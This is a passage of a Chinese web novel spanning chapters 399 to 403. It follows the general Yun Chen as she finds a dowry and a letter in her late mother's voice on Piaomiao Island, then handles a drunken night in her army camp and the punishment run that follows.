是你云琛若真要报答,便好好爱惜你自己,去做你想做的事,爱你想爱的人……就是不负我。
到这一刻,云琛终于明白,那日山顶道观上的拒绝,那牢牢关严的大门,原来是霍阾玉倾尽所有情意,亲手筑起的通天壁垒。
只不过,里面关的是霍阾玉,不是她云琛。
云琛趴在桌上不断深呼吸,用袖子擦去湿润的眼角。
她明白,霍阾玉的恩与爱,她永生永世也还不清了。
“做我想做的事,爱我……想爱的人……不要负她……”
云琛喃喃念叨着这两句话,翻开桌上第二封信。
和过去三个多月一样,依旧是从洛疆荒原发出来的。
她拆开来,入眼第一句仍旧是:
“卿卿琛儿,思念甚久,愧已成疾……”
第399章 缥缈岛
“卿卿琛儿,思念甚久,愧已成疾……”
一连三个月零十天,九十九封信,前面八十封都被云琛直接撕了,并不知道霍乾念说了些什么。
但从最近的十九封看来,十有**都是在倾诉对她的思念和愧悔,却仍旧一字不提他做的太错。
细细读完信,云琛的目光从末尾那一句“情丝缥缈越重山,万忘挚爱念永安”扫过。
她忍不住抬手触向末尾落笔的“阿念”二字,心里又开始发痛发酸。
那么决绝的分手,她看似镇定,实则在他红了眼眶的时候,她心里便早已溃败。
那么多年的感情,岂能说断就断?那么好的他,那些一同经历的太多,怎能说不要就都不要。
她不是没有后悔过,也知道不该将对自己的恼恨和无力转移到他身上。
可只要一想到霍阾玉这些年经历的一切,一想到,若她早些认出霍阾玉定然能牢牢相护,不叫那些噩梦折磨发生,她就无法平息对霍乾念的失望和怨恨,亦无法原谅她自己。
心里仿佛有一道巨大的堤坝,牢牢挡住了霍乾念波涛汹涌的爱意。
她的心僵在这里,不知道该往哪个方向去,只能伏在桌上长长地叹气,捂住一阵阵发紧的心口,想象着他这会儿正在做什么。
想着想着,脑海里突然蹦出“缥缈岛”三个字。
云琛突然记起,她当年易容途径丹阳城时,曾与霍乾念有过一个约定:
四月小满时,烟城缥缈岛见。
后来因为种种原因,二人都忘记了这个约定,她至今都不知道他在缥缈岛准备了些什么。
眼下在烟城,正好离缥缈岛很近啊!
想到这里,她立马来了精神,快速换上一身常服,独自向岛而去。
半个时辰后,云琛来到城南一座四面环水的小岛,熟悉的霍府风格的宅院出现在眼前。
因为四面环水难行的缘故,黑鳞骑兵占领烟城时并未扫荡这里,岛上一切都还保持着原有的模样。
她翻墙跳进院子,四处古朴典雅,装饰考究。
她在整个院子里转了一圈,并没看见什么新奇的玩意儿,心想霍乾念难道又是送她房子?
正疑惑间,她目光落在后院的一座醒狮雕像上。
她记得霍府北柠堂里有过一个机关密室,是霍乾念用来存放机密私物的。
抱着试一试的心态,她转动醒狮头,随着一阵机括声响起,一个地窖密室的入口出现在眼前。
她忍不住有点兴奋,颇有探寻宝藏的新鲜刺激感。
顺着入口台阶走下去,只见二百来个漆器彩贝的大箱子整整齐齐放在地上。
打开来,无外乎成箱的金条银条,成捆的玉镯翡翠、珍珠玛瑙,还有不少价值连城的珠宝。
霍乾念对她一向大方至极,送她东西时,总喜欢先真金白银打个底,然后再将他精心准备的礼物送出。
她循着箱子一个个去看,开始在其中翻找。
找了一会儿,她觉得好像有些不对劲,后退两步站远些,用整体的目光再去看时,这才发现所有箱子全部样式统一,箱腰一圈挂满大红色的垂穗同心结,竟然是标准的嫁妆规制。
好像明白霍乾念为她准备了什么,她急切地在箱子里翻找,果真找到了一份长长的嫁妆礼单,还有一份信,写着:
“孩儿泪启:
我时常怨老天爷,若让我再多活几年,是不是就可以亲眼看见琛儿穿着嫁衣,嫁给心上人的模样。
我想看看琛儿如今几岁了,多高了,长得更像谁一些。
十几年啦,你是不是已经从我怀里撒娇的小奶糕,长成了亭亭玉立的大姑娘?
我想,你一定长得聪明伶俐,善良又勇敢。
就算不是也没关系,只要你平安,就都是我期盼的样子。
琛儿,娘不好,福薄,有你这样好的孩儿,竟还要早早离你而去。
可怜你还那么小,一个人睡在孤单的小床上,夜里想娘的时候一定总是哭醒;看见别的孩子扑进娘亲的怀抱,你一定忍着眼泪不去看,假装不伤心。
我总是担忧,这人生长长弯弯的崎岖路啊,我的孩儿那么小小绵绵,一个人该怎么走?
这世道该给她多少委屈和眼泪,又有谁来替我哄一哄她呢?
谁曾想,我的担忧全是傻的。
早在我离开人世的时候,我的孩儿就一瞬间长大了。
我的琛儿竟那么坚强勇敢,纵是被薄待,被亏欠,这十几年漫漫长路,依然没有行差踏错,每一步都走得端正又稳当。
没有娘牵着你的手,你却走得比这世上绝大多数孩子都要高远,都要堂堂正正。
娘真为你骄傲。
所以,我的孩儿,从今往后,愿你只为自己而活。
就像这世界欠你那么多,你都能一笑而过,请你也这样温柔地对待自己。
只要你好好活着,便不欠娘;只要你活得幸福,便不欠任何人的恩。你对得起这世上所有人。
娘已经替你去前面瞧了瞧,今后前途坦荡,再也没有委屈和泪水,只有金光灿灿的未来等着你,执爱人之手,走到垂垂老矣,儿孙满堂。
琛儿,照顾好自己。
你若相信这世上有神灵,就该相信,娘此刻一定无比幸福地看着你……”
读完信,云琛已泪流满面,捧信的手不住颤抖,一声声喃喃
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唤着:
“娘……娘啊……我好想你……”
经年的委屈和酸苦都在这一刻决堤成海,迎来释然的时刻。
她明明知道,这不过是霍乾念模仿她娘亲口吻写下的信,并不是娘的亲笔,可她还是哭得停不下来。
仿佛此刻沈悠宁就站在她面前,慈爱又温柔地抱着她,对她说:
“好琛儿,娘真为你高兴。”
再泪眼看向这二百多个箱子,她终于明白了霍乾念的心意。
无论这些年他送什么东西给她,入她私库时,登记造册时都得写明来处,原物归属是他。
唯有这嫁妆,这辈子只属于她云琛,谁也拿不走,谁也不能动。
他学着所有嫁女人家的样子,以她亡母的名义,为她置办下这昂贵富足的嫁妆,更用那信,全了她此生最大的遗憾。
他虽没有生育过儿女,却学着将她当作女儿去疼爱。
他并不会写那么煽情动人的信,但也会拿出他母亲杜婉意的遗书,试着模仿那满怀母爱的语气,写下对她的祝愿。
只要好好活着,便不欠任何人。
在世人都赞扬她忠贞报恩的情义时,只有他盼着她挣脱“恩义”的枷锁,不为别人,只为自己而活。
她好像突然懂了,为什么他会将梅花破月恩主的事欺瞒她,至今都认为他没有做错。
她总将霍阾玉的苦难怪在自己身上,无法承受对霍阾玉的愧疚,而本能地将他当作出口,责怪发泄。
殊不知,一切都正正好。
若非他不顾一切地瞒着,以她云琛的心性,定要如飞蛾扑火般奔向霍阾玉。
霍阾玉叫她**,她便死,叫她生,她便生。
她将没有自我,为了报那份珍贵的恩,无条件地去回应霍阾玉的爱情。
到最后,霍阾玉从始至终都得不到想要的真心,而等待云琛的,也只会是夹在自我和“报恩”之间挣扎两难,赔上痛苦的一生,落得个难以启齿的、最破碎不堪的结局。
爱云琛至此,霍乾念怎能眼睁睁看她走上这样的路。
爱自己唯一的妹妹至深,霍乾念怎能任由霍阾玉赔上一生,到头却只有镜花水月一场空。
这两个他生命中最重要的女人,他全都想保护。
哪怕是用欺瞒的方式,哪怕从一开始就知道,总有一天要面对云琛的指责与怨怼。
所以无论云琛的质问有多锋利,分手也好,到这里也罢,他都不悔地混着痛楚咽下去。
云琛深深地将身子蜷起来。
她什么都懂了。
自责、懊悔、感激、无奈……千百种情绪混合在一起,不断冲击着她的心,令她久久无法平静。
第400章 干儿子
等云琛肿着眼睛从地窖出来,离开缥缈岛时,天已几乎黑透。
心情上的波折远比打仗要累,她拖着疲惫的身子回到营地,无视帐篷门口嗑瓜子闲聊的罗东东和伏霖,一头栽倒在榻上沉沉入睡。
看着她罕见的累极的样子,罗东东问:
“这什么情况?到哪一集了?”
伏霖吐出嘴里的瓜子皮,“应该快到‘复合’了。”说完他将剩下的瓜子揣进兜里,拉住罗东东的空袖管,道:
“走!给云将军整点猛的!”
罗东东连连拒绝:“俺可不敢!老**酒,她就会比任何人都遵守,从不搞特殊,没人敢端着酒去找她!”
“怕什么?这会又不是在战场上,‘云老虎’还没放出来呢!放心!”
“‘老虎’出来不就一眨眼的事?俺不去!”
“别怂!这会她满肚子心事,急需说话排解,只要说开了,狮威虎威和好就是过两天的事!”
听了伏霖这话,罗东东终于妥协。
两人跑到厨房一顿捣鼓,罗东东炒了几道小菜,伏霖则忙着将麦芽酒掺进麦茶里,弄出整整六大桶茶酒。
随后二人拿着东西来到主帐,硬将云琛拖起来。
云琛眼睛肿得发酸,看东西都有些模糊。
她有气无力地坐到矮桌前,托腮叹气,不满道:
“我是不是对你们太好了,进我帐子都不先通报一声?干啥?喝茶吃菜?”
说着她扫了几眼桌上的菜,“谁炒的?怎么一半都是糊的?”
罗东东晃了晃空袖管,呲牙笑道:
“俺只剩一只胳膊,没法颠锅,就糊了。”
云琛无语,睨了眼伏霖,“你是真不拿罗东东当残疾人啊!”
“那倒没有!”罗东东接话:“他们都不拿俺当人好吗!!”
这一下算是打开了话匣子,罗东东开始倒豆子一样诉说平日的委屈。
什么伏霖拿犁耙给他当假臂,荣易每次训练时都会“不小心”踩到他的袖管,然后假模假样地问他“哎呦,踩到你手了,疼不疼?”
趁罗东东缠着云琛说话的功夫,伏霖迅速将掺酒的麦茶塞进云琛手里。
“喝点茶润润嗓子,不然都听累了!”
云琛愣了下,也没反应过来哪不对,本能地端起茶杯一饮而尽,呲牙咧嘴道:
“这茶好辣!怎么回事?”
“是吗?”伏霖和罗东东装模作样地拿过茶杯闻了闻,笃定道:
“估计茶叶有点发酵了!不过没事!能喝!”
说完,二人又哄着云琛喝起来。
半个时辰过后,六个酒壶全空,速度远超伏霖预计之外。
按伏霖的原计划,他和罗东东将云琛灌醉,待她醉得狠了,再引导她连哭带喊地把心里话都说出来。
人嘛,甭管有啥心事,只要说出来,就能好一半。
但可惜伏霖第一次和云琛喝酒,完全错误地估计了云琛的酒量。
没想到她这么能喝!
六个酒壶,他和罗东东各陪一壶,云琛喝了四壶。
结果云琛一点事都没有,还端端地坐在桌边。他和罗东东倒喝得脸比屁股红,脑袋晕得天旋地转,站都站不起来。
罗东东拿筷子拨拉两下吃剩的鸡骨头,打着醉腔骂道:
“**,一个能吃的都没有!”
伏霖半趴在桌上,撑着脑袋鄙夷道:
“那还不是你炒的?什么臭水平!我用脚炒的都比你好!”
罗东东一下子来气了,使劲甩他的空袖管,差点甩到伏霖脸上去,气骂:
“俺就剩一条胳膊炒菜好吗?!一条啊!你们这些狗玩意!平时不说多照顾照顾俺!还有事没事轮流来参观俺的断臂!说圆滚滚的挺可爱!天冷的时候,俺伤口抽筋,他们就在一边狂笑!还说啥,俺就一条胳膊,以后买衣裳,一只袖子用来穿,另一只用来当围脖!!还说俺将来娶媳妇儿洞房的时候,手用来提枪,就没手用来……”
“行行行打住打住!!”伏霖赶紧用一块糊鸡胸堵住罗东东的嘴,“云将军还在这呢!不许说浑话!”
罗东东啃着糊鸡胸,嘴里呜呜咽咽,显然还在骂娘。
但云琛看得出,罗东东并不是真气伏霖和荣易他们。
正相反,大家都不拿特殊眼光对待罗东东,反而让他心里更舒坦,所以才能这样肆无忌惮地说出来。
等罗东东发泄完了,伏霖模糊记得自己来找云琛喝酒的目的,刚琢磨该怎么挑起话题,谁知云琛却比他先开口:
“伏霖,我觉得你很累,心事很多,背负很重,身边连个说话的人都没有。”
伏霖愣愣地看了云琛一会儿,表情从惊讶转为委屈,接着“哇——”一嗓
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子哭了出来。
作为民间推举的义军首领,伏霖曾拼死与叛军作战,解了狮威军被困固英城的死局,替其打开北上的通道。
云琛与伏霖虽不似其他人那么熟悉,但并肩作战的往事历历在目,伏霖舍命成全狮威军的情义不能忘。
自伏霖加入狮威军以来,为人亲和,办事机敏,武艺超群且很快就和荣易、罗东东打成一片,军中都很喜欢他,云琛也是。
可不知为何,她总能从伏霖身上察觉到一种说不出来的孤独。
就像一头隐藏在羊群里、披着羊皮的孤狼,虽然并没有恶意,但那和善的外表,却怎么都掩盖不住骨子里的压抑和悲凉。
云琛不是什么官场人精堆里长出来的,她身上更多的是江湖儿女的豪气洒脱。
对于伏霖,她从未刻意观察或剖析过,只是凭直觉说出这番话,谁曾想正中伏霖内心深处,惹得他嗷嗷大哭,给一旁的罗东东都看愣了。
罗东东脑袋并不清醒,但心疼兄弟的本能没忘,他将嘴里的糊鸡胸吐出来半个,送到伏霖嘴边,哄道:
“别哭了,你想拿犁耙给我做假胳膊就做吧,烧火棍也行,喏,给你吃块鸡肉,热乎乎的,吃了心里暖和。”
伏霖哭得一把鼻涕一把泪,感动地接过罗东东递来的鸡肉,发现是罗东东刚吐出来的之后,他哭得更大声了。
“我苦啊……苦啊……”
伏霖并没有打开话匣开始诉说,只是反复说着这两句。
云琛大概听说过,伏霖老家是宥阳的,因为早年发水灾淹了整个村子,一个亲人都没了。
她心疼地拍拍伏霖肩膀,“别伤心了,亲人没了兄弟在,朋友在,你就拿我们当亲人。”
罗东东也唉声叹气地揽住伏霖肩膀,打着醉腔道:
“对,以后就拿俺们当亲人。老大给你当娘,俺给你当爹……不让你当没爹娘的孩子!不让别人瞧不起咱!”
罗东东越说越激动,情绪突然高涨起来,起身摇摇晃晃往外走,说要去取伏霖的名册来,认伏霖当干儿子,白纸黑字为证。
看着这个比自己还小两岁的农村憨包,伏霖哭笑不得,只能任由他去,然后仰天长叹一口气,悲道:
“‘亲人没了兄弟在’……云将军,你说的真好……谁能做你的兄弟,真是他的福气……”
第401章 禁酒?禁色!
伏霖说,能做云琛的兄弟,真是一种福气。
福气?
云琛一下想起荀戓,小六,花绝……
她的兄弟好像从来都没有什么好福气。
人人都夸她“云老虎”勇冠三军,武艺超群,可再厉害,也仍旧没护住兄弟朋友,不是吗?
是她不够强,还是人生在世总这么无奈?
遗憾仿佛是人生的主调,分离是所有人的宿命。
就像她与霍乾念,与霍阾玉……
温温的酒意慢慢泛上来,云琛感觉脑子里稀里糊涂一团乱麻,怎么都找不出那个能理顺一切的线头。
她惆怅地呼口气,托腮望着桌边的烛火出神。
看了好一会儿,她突然问:
“你说你好‘苦’,是事‘苦’,还是人‘苦’?”
这是从没有人问过伏霖的问题。他愣了一下,低声道:
“人苦。”
云琛一下就懂了。
伏霖也和她一样,为人所苦,为情所困。
这世上大多事都无解,却都有过眼云烟的一天。
唯有人与情经年不散,何时翻出来,何时都崭新锋利地再将人伤一遍。
伏霖看向灯火朦胧处,思绪像是已陷入回忆。
“我少时爱上一个人,单相思而已。那人的娘亲病了,我便冒着性命危险去寻药,即使闯下弥天大祸死到临头也无妨。这世上只要是那人想要的东西,我都可以不计任何代价与后果地搏来。”
寥寥几句,简直比话本还精彩,云琛听得入迷,“然后呢?”
“然后,那人冒着诛九族的风险,偷天换日将我救出。再然后……”伏霖喝尽杯中最后一口残酒,看向云琛的眼神忽然变得犀利又冰冷。
“再然后,我在深山老林里一日不懈地习武、读书、历练,十年磨一剑,从那人需要我的那天开始,我的剑便只为那人出鞘。”
最后一句云琛没有听懂,却能从那语气中感受到,伏霖视“那人”比自己的性命还重。
她笑道:“‘武艺高超又有卓绝远见的义军首领伏霖’,听着好像你多年前就知道会有这么一天,一直在为‘出鞘’做准备似的,哈哈……”
伏霖没有说话,避开她的眼神不去对视,低低地说了句“我再去拿点茶”,起身往外走,却酒意上头,一个不稳朝地上摔去。
云琛下意识伸手去扶,以为伏霖只是借点力,没想到一把被他从凳子上拉下来,直接结结实实摔进他的怀抱。
两人双双倒在地上,大脸贴小脸,大眼瞪小眼。
伏霖定定看着她的眉眼,突然笑了一下,说了莫名其妙一句话:
“确实好看。”
这世上,只要是那人所爱,他都爱。
……
……
另一边,罗东东从主帐出来,走着走着,就忘了要取伏霖名册、认他当干儿子的事。
原地站了半天,冷风一吹,酒醒了大半,罗东东瞬间想起云琛的“禁酒令”。
他深知云琛脾性,待明日三人酒醒之后,他和伏霖肯定免不了挨收拾。
想到这里,罗东东不敢再回帐子和云琛继续喝了,赶紧捂住嘴,不让别人闻见酒气,闷头朝自己帐子跑去。
正跑着,迎面撞上同样和他捂嘴小跑的一人。
他定睛一看,动动鼻子,瞬间瞪大眼睛:
“荣易?你溜出去喝酒了?咋喝成这样?喝了多少?”
荣易脸颊通红,眼神涣散,大着舌头道:
“两、两、两杯……”
罗东东无语,“多大的杯?缸那么大的杯吗?”
荣易“嘿嘿”一笑,将手指竖在嘴唇上使劲“嘘”,做贼似的靠近罗东东,身子不由自主地朝罗东东倒过去,说道:
“别告诉老大啊!我实在、实在、实在闷得不行,再不喝点,我就要闷、闷、闷、闷**……”
罗东东用仅有的一只胳膊撑住荣易的身子,以免这醉鬼贴得太近误亲上来,“赶紧回帐子睡觉吧!别瞎窜!不然明天挨揍也算你一个!”
荣易嘟囔了一句话,摇摇摆摆地走远。
望着那六亲不认的醉鬼步伐,罗东东啧啧摇头,赶紧回到自己帐子睡下。
他闭上眼睛准备入睡,脑子却突然想起方才荣易嘟囔的那句话,好像是说:
“去找个倌娘子陪我睡……”
倌娘子是将士们对于**的雅称,罗东东笑骂荣易真是头精力旺盛的野牛,都喝成那样了,还惦记着那点香艳事。
而后,罗东东再次闭眼准备入睡。
寂静片刻之后,他猛地睁开眼睛,鲤鱼打挺地从榻上弹起来,鞋都没穿就往外冲去。
“草!现在没有**!全军就老大
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一个女的!!”
……
……
罗东东预料的没错。
荣易已经喝的五马**分不清东南西北,强烈的酒意将他身体里积攒多月的阳火勾得越来越旺盛,满脑子都是女人白花花的大腿。
他迷迷糊糊走到营地后方,见从前该设**的地方,如今全都改成了仓库,一个女人都没有,只能不情不愿地往回走。
经过云琛帐子的时候,他模糊瞧见伏霖正从帐子里出来,边走边拍打着身上的灰,整理着腰带,像是才欢好完的样子。
“咦?倌娘子们改地方了?住这了?”荣易心里奇怪,接着便感到胯下燥热,兴高采烈地钻进帐子。
色上心头,但礼节不能少。
荣易从怀里摸出两锭大元宝放在桌上,一边熟练地将外衣脱下来,一边傻笑道:
“倌娘子,辛苦你加、加、加个时辰,陪陪我,我都一个月没开荤了……”
榻上的云琛在与伏霖摔了一跤之后,已有点发晕地睡下。
半睡半醒间,她听到荣易的声音,因为耳朵受伤,她并没有听清他在说什么,正要骂“你们这些小子进我帐子真一点都不通报啊!”却感到一个精壮的身子从后背靠过来,有力的胳膊将她环住。
伴着酒气扑来,毫无防备的,一个温热的吻落在她后颈。
她“蹭”地睁开眼睛,瞬间翻身跳起,一个擒拿将来人摁在床板上。
荣易醉得七荤八素,人已被摁倒,嘴里还叫唤着:
“倌娘子,轻些,叨扰你睡觉了?别生气……我马上让你春、春、春潮好眠,真的……”
荣易说着,又要凑过来亲云琛,直接被她一脚踩在嘴上,再也发不出一点声音。
彼时罗东东正飞奔过来,一进门就看到云琛正站在榻上,手里扭着荣易胳膊,脚下踩着荣易脑袋,那架势凶神恶煞,标准一头猛虎苏醒,吓得他缩起脖子就想跑。
云琛惊怒羞愤交加,这会儿已彻底酒醒,知晓被罗东东和伏霖骗酒一遭,大喝一声:“给我站那!”直接吓得罗东东定在原地。
帐外,伏霖本来闻声折回来,本想查看云琛是否安好。
在听到云琛一声大喝之后,他立马刹住脚步,掉头开溜,却见一只军靴自帐中极速飞出,如飞镖一般准准地扎在他头上。
第402章 惩罚
第二日,天刚蒙蒙亮,荣易正与梦里那眼眸灵动、肤白如雪的娘子卿卿我我时,忽感一阵冰寒从脚淋到头,冷得他一个激灵,人终于清醒。
他睁开眼睛,只见眼前天地倒置,他双手被束在身后,双脚被捆起,赤着上身,倒吊在树上。
将士们乌泱泱围在一边,无数双军靴之上是窃窃私语的嬉笑。
云琛手里敲打着马鞭,不紧不慢地走过来,半蹲下身子,看着荣易。
由于被倒吊着的关系,荣易看不清云琛的表情,只能看到她比锅底还黑的脸色。
“醒了?”云琛皮笑肉不笑地问。
甚少从云琛脸上见到这种恐怖的表情,荣易打了个哆嗦,虽然压根不记得昨夜发生的荒唐事,但猜到自己十有**喝酒闯祸,被云琛抓了现行。
他赶紧扯出一个讨好的笑容,“醒了,嘿嘿,谢谢老大赏水。”
云琛脸皮上的笑容不减,起身抻抻腿,伸伸胳膊,活动了下脖子:
“醒了就好,醒了才知道痛。”
说罢,不等荣易张口,云琛的马鞭已破空飞来,狠狠一鞭抽在他屁股上,疼得他惨叫一声。
感觉到这鞭子的力道,荣易知道自己肯定闯大祸了,云琛是真生气了。
但他脑子里一团酒浆糊,什么也想不起来,只能连连告罪求饶:
“老大,我错了,真错了,特别错,错得离谱!”
云琛根本不搭理他,手中挥鞭不停。
整整二十鞭子下去,荣易倒吊在半空中,被抽得跟旋转陀螺似的。
他满身鞭痕青紫纵横,疼得一脑门子汗,咬着牙哀求:
“老大,我酒醒了,真醒了……”
听到这句,云琛才终于停手。
当着全军的面,坦白犯了禁酒令,荣易知道,第一顿鞭子算过,第二顿军法处置该来了。
果然,云琛飞刀割断倒吊荣易的绳索,后者还在灰头土脸地解绳子,穿衣裳,她已经面向全军下令:
“军令如山,违者一视同仁处置。我与伏霖、罗东东犯禁酒令,荣易——”她向荣易斜过去一眼,脸上有羞愤的微红,接着道:
“荣易犯禁酒、禁色两令!已按军法处以鞭刑。”
听见“禁色”二字,荣易先是一愣,而后惊恐地瞪大双眼,看向云琛,似乎想从她脸上找到玩笑的痕迹。
但云琛已不再看他,倒是一旁的罗东东咧嘴坏笑,压低嗓子道:
“这下知道自己为啥挨鞭子了吧?”
荣易瞧着云琛愠怒又微红的脸色,后背上全是冷汗,浑身直冒鸡皮疙瘩:
“我犯了禁色令?对谁?全军上下就老大一个女的啊!不会吧?!”
罗东东揶揄道:“不然呢?这不正合你意,‘机会来了’!”
荣易有点崩溃:“我开玩笑的啊!!我几个胆子敢惦记老大??我真喝多了!!”
伏霖在一旁使坏接茬,低笑道:“说的也是,酒壮怂人胆,不喝点,谁敢擒‘老虎’?”
荣易下意识点头称“对对对”,然后反应过来伏霖话里的曲解和腌臜,再看罗东东已经和伏霖凑在一块捂嘴偷笑,气的他撸起袖子就要揍人。
这边,三人还在暗搓搓、不正经地开着荤玩笑;那边,云琛已面向全体将士做完深刻检讨,最后说道:
“为惩我们四人犯禁酒令,即日起,我等每日寅时晨起操练,负重二百斤,绕烟城训走十圈!罚期半月!”
话音落下,旁边三人再也笑不出来了。
天不亮爬起来也就算了,负重二百斤也没事,就当训练背战友。
可特么绕烟城训走十圈!烟城多大啊!骑马急跑一圈还得一个时辰!
十圈不得把人跑死啊!
还**跑半个月!!
罗东东哀嚎一声,垂头丧气地往军备库走,准备去多领几双鞋。
经过云琛的时候,他可怜巴巴地晃悠着袖管,问:
“老大,我就一条胳膊了,跑五圈行吗?”
云琛露出魔鬼般的笑容,用所有人都能听见的声音大喝:
“好!那就十五圈!现在!立刻!马上!开始!”
“啊——”罗东东一声惨叫,还要再说,立马被荣易和伏霖死死捂住嘴拖走。
在全军将士不可思议的注视下,云琛、伏霖、荣易和罗东东,四人纷纷背起二百斤负重,开始绕烟城训走。
一个将士道:“真跑啊?不愧是云老虎,狠起来对自己都下手!”
另一个将士说:“意思一下得了,谁家还真罚将军呀!”
“十五圈,估计赶上晚饭都够呛。”
“还有二百斤负重呢,肩膀头子得磨出血喽……”
“本来还想偷溜出去喝点呢,这下我可不敢了……”
……
……
话说云琛四人负重绕城训跑。
因为有云琛在最前面带头的缘故,其他三人不敢怠慢,只能跟起云琛的速度跑。
前五圈的时候,三人咬咬牙还能坚持,一路上时不时看看烟城风景,插科打诨侃大山。
中间五圈的时候,三人全都不说话了,气喘得跟战马似的,咽口唾沫都得考虑一下,更别提说话了。
罗东东因为只有一条胳膊的缘故,负重只能用绳索勒在他大臂上,很快就磨出了血。
荣易和伏霖一左一右,从身后帮罗东东的负重拖底,试图帮他减轻分量。
到了最后五圈的时候,荣易和伏霖已经累得头昏眼花,暴汗如雨,自顾都不暇,更别说照顾别人。
罗东东落在队伍最后面,每跑一步,脚下都
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跟灌了铅似的,断臂处被汗蜇得又疼又痒,难受极了。
云琛见状,没有说话。只是跑回罗东东身边,将他的负重卸下来,抗在自己肩头。
三人就这么眼睁睁地看着云琛扛起比她自身还要重三四倍的重量,继续保持着一开始的速度,朝前跑去。
罗东东伸手想要拉云琛,表示拒绝,可嗓子眼又干又腥甜,叫他一句话都说不出来,只能咬紧牙关,将速度提起来,跟上云琛的步伐。
就这么云琛在前,另外三人在后。
这么枯燥又艰苦的惩罚,云琛不叫停,另外三人也不敢停下。
更何况,三人从骨子里觉得自己是男人,拳脚功夫也就算了,不及云琛是他们技不如人,但体力上怎能认输?
凭着这股劲儿,三人硬是坚持跟在云琛后头。
渐渐地,天色越来越黑,逐渐看不清前路,只有云琛的身影一如既往在前,白色的衣裳在夜空中分外扎眼,如夜星一般,为三人指引着方向。
她的衣服也早已被汗湿透,两个肩膀上殷红一片,血迹顺着衣服纹理流下来,在腰带处**成一条刺目鲜红的线。
三人没有说话,只是一直望着云琛的背影。
到最后一圈的时候,三人全都精疲力尽,跌坐在地上,云琛的步子也渐渐慢下来,腿开始不停颤抖。
荣易上气不接下气,“老……老……老大……十四……圈……行吗……”
伏霖和罗东东没吭声,但齐齐看向云琛,眼神充满祈求。
云琛完全无视三人,只撂下两个字“继续!”头也不回地向前跑去。
望着云琛逐渐远去的背影,三人互相对视,都在对方眼中看到极限崩溃。
最后,伏霖最先抖着腿爬起来,跟了上去。
罗东东想去拿荣易的一半负重,却被后者一把摁住,唉声叹气地互相搀扶起身。
等四人跑完十五圈回营,将士们晚饭都吃完了,正在整理营地。
见四人灰头土脸,浑身衣服湿嗒嗒地贴在身上,全是汗和血,将士们全都惊呆了,忍不住小声议论:
“我靠,真跑啊!”
“有几个家伙去山坡上瞧了,十五圈,一圈不落!”
“我的娘……言出必行,不愧是云老虎……”
“好可怕……”
在众将士们钦佩又同情的目光中,荣易和伏霖将负重“轰”地扔在地上,想去拿碗吃饭,却手抖得连碗都端不住。
罗东东想坐凳子,结果两条腿颤得跟抽羊角风似的,只能一屁股瘫坐在地上,再也爬不起来。
云琛将负重放回军备库,脸色也因为累极而发白。
她经过三人的身边,一边用**刮尽手上的血泡,一边无情说道:
“明日寅时,继续。”
第403章 还差一步
第二日,天还未亮,云琛四人迈着重如灌铅的腿,强忍浑身酸痛,再次开始训跑。
伏霖算是看出来了,云琛的性子言出必行,铁面无私,不每天十五圈地跑完半个月,她是绝对不肯罢休的。
荣易则从来没有比现在更想念过黑鳞骑兵。他宁可上战场杀敌也不想跑步。
他开始琢磨歪招,考虑给黑鳞骑兵写个信,引个战啥的,如果这时候有仗可打,训跑指定就跑不成了。
他将想法和罗东东一说,后者瞪眼:
“说的跟黑鳞骑兵不怕云老虎似的。俺们在烟城快一个月了,你见过哪个黑鳞骑兵敢露头?”
“哎!也是!他们都从幽州逃到烟城,几千里了!”荣易重重叹气,身上衣服汗湿得难受,所幸将上衣全脱了,就留个护肩用来垫负重。
过了一会儿,罗东东也热得受不了,有样学样也脱去上衣。
伏霖倒是矜持些,硬是忍着第三天才脱。
到最后,仨人干脆出营地时就赤裸着上身,一身腱子肉很快吸引了路过老百姓们的注目。
而最前面的云琛也慢慢发现,前几天出来时还好好的,路过的老百姓看到他们跑圈,要么夸奖一句“年轻人就是体力好”,要么帮他们端上几碗水解渴。
怎么这两天开始,围观的老百姓越来越多,最后甚至到了需要荣易三人在前面开道,她才能继续跑的程度,活像她牵了三条威猛猎犬出街似的。
老百姓们在城墙根下围成好几排,一边嗑瓜子,一边啧啧感叹:
“瞧那小子,熊背蜂腰,不愧是虎威军的,体格就是不一般,这要是能给我家当女婿就好了!”
“我中意那个,高大,威猛,看着更壮实!”
“那断臂的也不错,正眉正眼,有点憨,但瞧着老实可靠,不孬!”
“最前面那个咋不脱?我想看!”
“呸呸呸!那是云将军!”
“哦哟罪过罪过,总忘记云将军是女的!”
随着时间过去,围观的老百姓们越来越多,议论的声音越来越大。
当人群中开始有大姑娘出现的时候,云琛预感不妙,还没来得及命令荣易三人将衣服穿上时,就见一个媒婆冲上来拉住荣易,满脸堆笑道:
“将军呀!您成家了吗?家是哪儿的?娶了几房妻妾呀?我这有位黄花大闺女……”
未等媒婆说完,荣易已朝她身后那带面纱的黄花大闺女冲过去,吓得人家姑娘花容失色,惊呼着躲避。
然而荣易只是冲姑娘旁边——老大爷手里的水碗去的。
在姑娘脸红心跳的注视下,荣易仰头干掉碗中水,猎犬似的甩甩头上汗水,又回到路上,冲前面的云琛大喊:
“老大!慢些!慢些!”
很快,围观人群愈发增多,少不得许多大姑娘小姑娘在里头。
云琛四人一天绕城跑十五圈,等于每个地方要经过十五次,接受众人的注目礼十五次!
围观的百姓们也从最开始的观看变成了加入。
云琛四人在训跑途中,老百姓们纷纷上来搭话、陪跑、介绍相亲,还有在旁边加油鼓劲、帮忙数圈数的。
搞得四人跑步的节奏总被打断,不堪其扰,越跑越累,完全无法专心。
发展到后来,竟有小商贩瞅准商机,开始兜售“观看赤裸将军激烈运动前排最佳观赏票”的,更有甚者,甚至为了争抢最前面的位置和旁人掐架。
这整的云琛四人哭笑不得,只得赶紧将训跑地点转移到后山。
这下围观人群没了,耳根子倒是清净了,可**山路比平地要难跑一万倍!
才刚刚跑了十天、适应训跑强度的荣易三人,再次哀嚎不断,跟着云琛爬山上路,整整一天下来,两条腿又抖得跟汤面条似的。
就这么一连十五天,雷打不动的一天十五圈,甭管刮风下雨,这疼那痒的,在云琛的带领下,三人互相搀扶着、抱怨着、咬紧牙关,终究一步不差地全跑完了。
这一遭下来,荣易甭管体内**邪火,全给跑没了;伏霖和罗东东也被治得服服帖帖。
整个虎威军都领教了云琛的军法严明,无人敢再犯。
事情传出去,亦成了楠国街头巷尾的一桩奇谈。
罚跑结束的最后那天,荣易三人纷纷瘫软在营帐里,宛如三大坨烂泥一般,只有云琛尚还有精神在山顶看夜景。
她独自伫立山头,站在山顶看夜景,烟城的灯火星星点点,虽不似战前那样繁盛,却也有了热闹的气息。
云琛张开双臂,长长地伸了个酸痛的懒腰,寻了棵合适的树倚靠,禁不住开始怀念过去。
